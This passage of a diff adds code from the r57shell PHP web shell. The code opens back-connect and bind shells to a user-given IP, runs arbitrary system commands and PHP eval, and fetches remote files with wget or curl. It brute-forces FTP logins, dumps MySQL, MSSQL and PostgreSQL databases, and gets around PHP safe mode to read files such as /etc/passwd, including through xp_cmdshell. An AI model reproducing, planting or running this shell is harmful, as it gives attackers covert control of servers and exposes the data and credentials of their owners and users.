ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_show")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="db_show") + { + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mysql_query("SHOW DATABASES", $db); + while(($row=@mysql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + $res2 = @mysql_query("SHOW TABLES FROM ".$row[0],$db); + while(($row2=@mysql_fetch_row($res2))) + { + echo " | - ".$row2[0]."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mysql_query("SHOW COLUMNS FROM ".$row[0].".".$row2[0],$db); + while(($row3=@mysql_fetch_row($res3))) { echo " | - ".$row3[0]."\r\n"; } + } + } + } + } + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + $res=@mssql_query("sp_databases", $db); + while(($row=@mssql_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + if(isset($_POST['st'])){ + @mssql_select_db($row[0]); + $res2 = @mssql_query("sp_tables",$db); + while(($row2=@mssql_fetch_array($res2))) + { + if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties') + { + echo " | - ".$row2['TABLE_NAME']."\r\n"; + if(isset($_POST['sc'])) + { + $res3 = @mssql_query("sp_columns ".$row2[2],$db); + while(($row3=@mssql_fetch_array($res3))) { echo " | - ".$row3['COLUMN_NAME']."\r\n"; } + } + } + } + } + } + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $res=@pg_query($db,"SELECT datname FROM pg_database WHERE datistemplate='f'"); + while(($row=@pg_fetch_row($res))) + { + echo "[+] ".$row[0]."\r\n"; + } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){ + $sqh = "# homepage: http://rst.void.ru\r\n"; + $sqh .= "# ---------------------------------\r\n"; + $sqh .= "# date : ".date ("j F Y g:i")."\r\n"; + $sqh .= "# database : ".$_POST['mysql_db']."\r\n"; + $sqh .= "# table : ".$_POST['mysql_tbl']."\r\n"; + $sqh .= "# ---------------------------------\r\n\r\n"; + switch($_POST['db']){ + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mysql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MySQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db); + $row = @mysql_fetch_row($res); + $sql1 .= $row[1]."\r\n\r\n"; + $sql1 .= "# ---------------------------------\r\n\r\n"; + $sql2 = ''; + $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db); + if (@mysql_num_rows($res) > 0) { + while (($row = @mysql_fetch_assoc($res))) { + $keys = @implode("`, `", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to MySQL server"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(@mssql_select_db($_POST['mysql_db'],$db)) + { + $sql1 = "# MSSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @mssql_query("SELECT * FROM ".$_POST['mysql_tbl']."", $db); + if (@mssql_num_rows($res) > 0) { + while (($row = @mssql_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $sql1 = "# PostgreSQL dump created by r57shell\r\n"; + $sql1 .= $sqh; + $sql2 = ''; + $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl'].""); + if (@pg_num_rows($res) > 0) { + while (($row = @pg_fetch_assoc($res))) { + $keys = @implode(", ", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = @implode("', '", $values); + $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n"; + } + $sql2 .= "\r\n# ---------------------------------"; + } + if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); } + else { echo $sql1.$sql2; } + @pg_close($db); + } + else echo "[-] ERROR! Can't connect to PostgreSQL server"; + break; + } + } + else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function up_down($id) + { + global $lang; + global $language; + return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a 